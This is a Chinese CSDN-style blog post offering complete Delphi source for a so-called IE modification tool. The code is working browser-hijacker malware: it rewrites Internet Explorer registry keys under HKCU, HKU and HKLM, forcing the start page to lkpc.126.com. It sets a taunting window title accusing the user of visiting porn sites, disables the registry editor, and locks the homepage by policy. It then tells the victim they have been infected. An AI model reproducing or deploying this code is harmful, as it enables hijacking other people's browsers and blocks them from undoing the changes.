IE修改工具 不神秘

DELPHI 专栏收录该内容
11 篇文章 0 订阅
 

其实修改的时候就是修改注册表的几个键值(bullshit)
看看这个delphi得源码,你就会知道怎么写一个windows优化大师中的IE部分的module了(模块出处http://lkpc.126.com
unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons,Registry;

type
  TForm2 = class(TForm)
    BitBtn1: TBitBtn;
    Memo1: TMemo;
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.DFM}

procedure TForm2.BitBtn1Click(Sender: TObject);
var
  Reg: TRegistry;
  s1,s2,s3,s4,s5,s6,reg1,reg2,reg3,reg4,reg5,reg6:string;
begin
  Reg := TRegistry.Create;
  s1:='哈哈!你曾经浏览过色情网站,还不承认?这里就是证据!';
  s2:='http://lkpc.126.com';
  s3:='Start Page';
  s4:='Window Title';
  s5:='DisableRegistryTools';
  s6:='HomePage';
  reg1:='/Software/Microsoft/Internet Explorer/Main';
  reg3:='/Software/Microsoft/Windows/CurrentVersion/Policies/system';
  reg4:='/Software/Policies/Microsoft/Internet Explorer/Control Panel';
  reg2:='/.DEFAULT/Software/Microsoft/Internet Explorer/Main';
  reg5:='/.DEFAULT/Software/Microsoft/Windows/CurrentVersion/Policies/System';
  reg6:='/.DEFAULT/Software/Policies/Microsoft/Internet Explorer/Control Panel';
  try
//修改 HKEY_CURRENT_USER;
   Reg.RootKey :=HKEY_CURRENT_USER;
   if Reg.OpenKey(reg1,true) then;
   begin
   Reg.Writestring(s4,s1);//标题
   Reg.Writestring(s3,s2);//缺省主页
   end;
   if Reg.OpenKey(reg3, True) then
   Reg.Writeinteger(s5,1);
   if Reg.OpenKey(reg4,true) then
    Reg.Writeinteger(s6,1);//解锁主页
//修改HKEY_USERS
   Reg.RootKey :=HKEY_USERS;
   if Reg.OpenKey(reg2,true) then;
   begin
   Reg.Writestring(s4,s1);//标题
   Reg.Writestring(s3,s2);//缺省主页
   end;
   if Reg.OpenKey(reg5, True) then
    Reg.Writeinteger(s5,1);
   if Reg.OpenKey(reg6,true) then
    Reg.Writeinteger(s6,1);
//修改 HKEY_LOCAL_MACHINE
   Reg.RootKey :=HKEY_LOCAL_MACHINE;
   if Reg.OpenKey(reg1,true) then;
   begin
   Reg.Writestring(s4,s1);//标题
   Reg.Writestring(s3,s2);//缺省主页
   end;
   if Reg.OpenKey(reg3, True) then
    Reg.Writeinteger(s5,1);
   if Reg.OpenKey(reg4,true) then
    Reg.Writeinteger(s6,1);//解锁主页

     Reg.CloseKey;
     MessageDlg('你已经中毒了!关闭所有IE窗口再重新打开!看看有什么症状!', mtInformation, [mbOk], 0);
  finally
    Reg.Free;
    inherited;
 end;
end;

end.

  • 0
    点赞
  • 0
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值